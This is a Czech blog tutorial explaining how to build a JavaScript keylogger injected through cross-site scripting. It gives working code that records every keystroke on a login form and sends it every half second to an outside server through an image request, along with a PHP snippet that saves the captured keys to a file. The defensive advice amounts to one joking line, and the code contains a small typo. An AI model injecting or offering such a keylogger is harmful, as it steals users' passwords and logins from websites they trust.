Keylogger v javascriptu - jednoduché řešení / využití XSS
Představte si jak se přihlašujete na svůj účet, ještě jste ani neklikli na tlačítko přihlásit a vaše heslo už je útočníkovi známé - jak to? Javascriptový keylogger je jednoduché, leč zákeřné znázornění nebezpečnosti neošetřených vstupů.

Problematika XSS
Pokud nevíte co přesně xss je a jaké jsou hlavní nebezpečí doporučuji nejdříve pročíst tento článek: www.kdosiodjinud.cz/kde-hledat-zranitelnost-xss-cross-site-scripting.a60.html
V článku budem předpokládat, že jsme schopni vložit javascript do stejné stránky jako je formulář který chceme "odposlouchávat"...
Kod javascript keyloggeru:
Tělo logeru:
document.onkeypress = function(log) {
udalost = window.event?event:log;
key = udalost.keyCode?udalost.keyCode:udalsot.charCode;
key = String.fromCharCode(key);
klavesy+=key;
}
window.setInterval(function(){
new Image().src = 'http://nase.cz/zpracovani.php?keylog='+klavesy;
klavesy = '';
}, 500);
- řádek čistí (připravuje) proměnou keys
- při stisku jakékoliv klávesy vyvoláme funkci log
- uložení do proměné udalost události, které na stránce probíhají (pro další zpracování)
- uložení do key kody kláves převzaté z udalost
- převedení kodů kláves na znaky ascii
- přidělení hodnoty key ke keys
- řádek je prázdný :o), ukončení funkce log. Nyní budeme proměnou odesílat...
- řádek vyvolává v intervalu 500ms naší funkci pro odeslání
- vytvoří objekt k odeslaní na náš php soubor, přidá proměnou keys
- vyčištění proměné keys
- zmiňovaný časový limit odeslání
PHP kod který může zpracovávat přijatou proměnou:
fwrite($soubor, $keylog);
fclose($soubor);
Popis funkce snad není potřeba :o)
Pro úplnost ještě kod z indexu
Načtení externího js v kterém je uložen samotný loger, výhoda externího načtení je, že loger máme pořád u sebe a následné editace/smazání nejsou problém.
Závěrem
XSS může být nebezpečnější než si myslíte! Neošetřené výstupy na indexu mohou být pro web opravdu nepříjemné, od editace vzhledu stránky může ničič pomocí takovéto vychytávky chytat veškeré loginy atd. Návodů a kodů js loggerů je plný internet, já se inspiroval a poskládal toto.
Ochrana
Povolený javascript je všeobecně známo nebezpečná věc! :o)

Komentáře
Nebyly přidány žádné komentáře.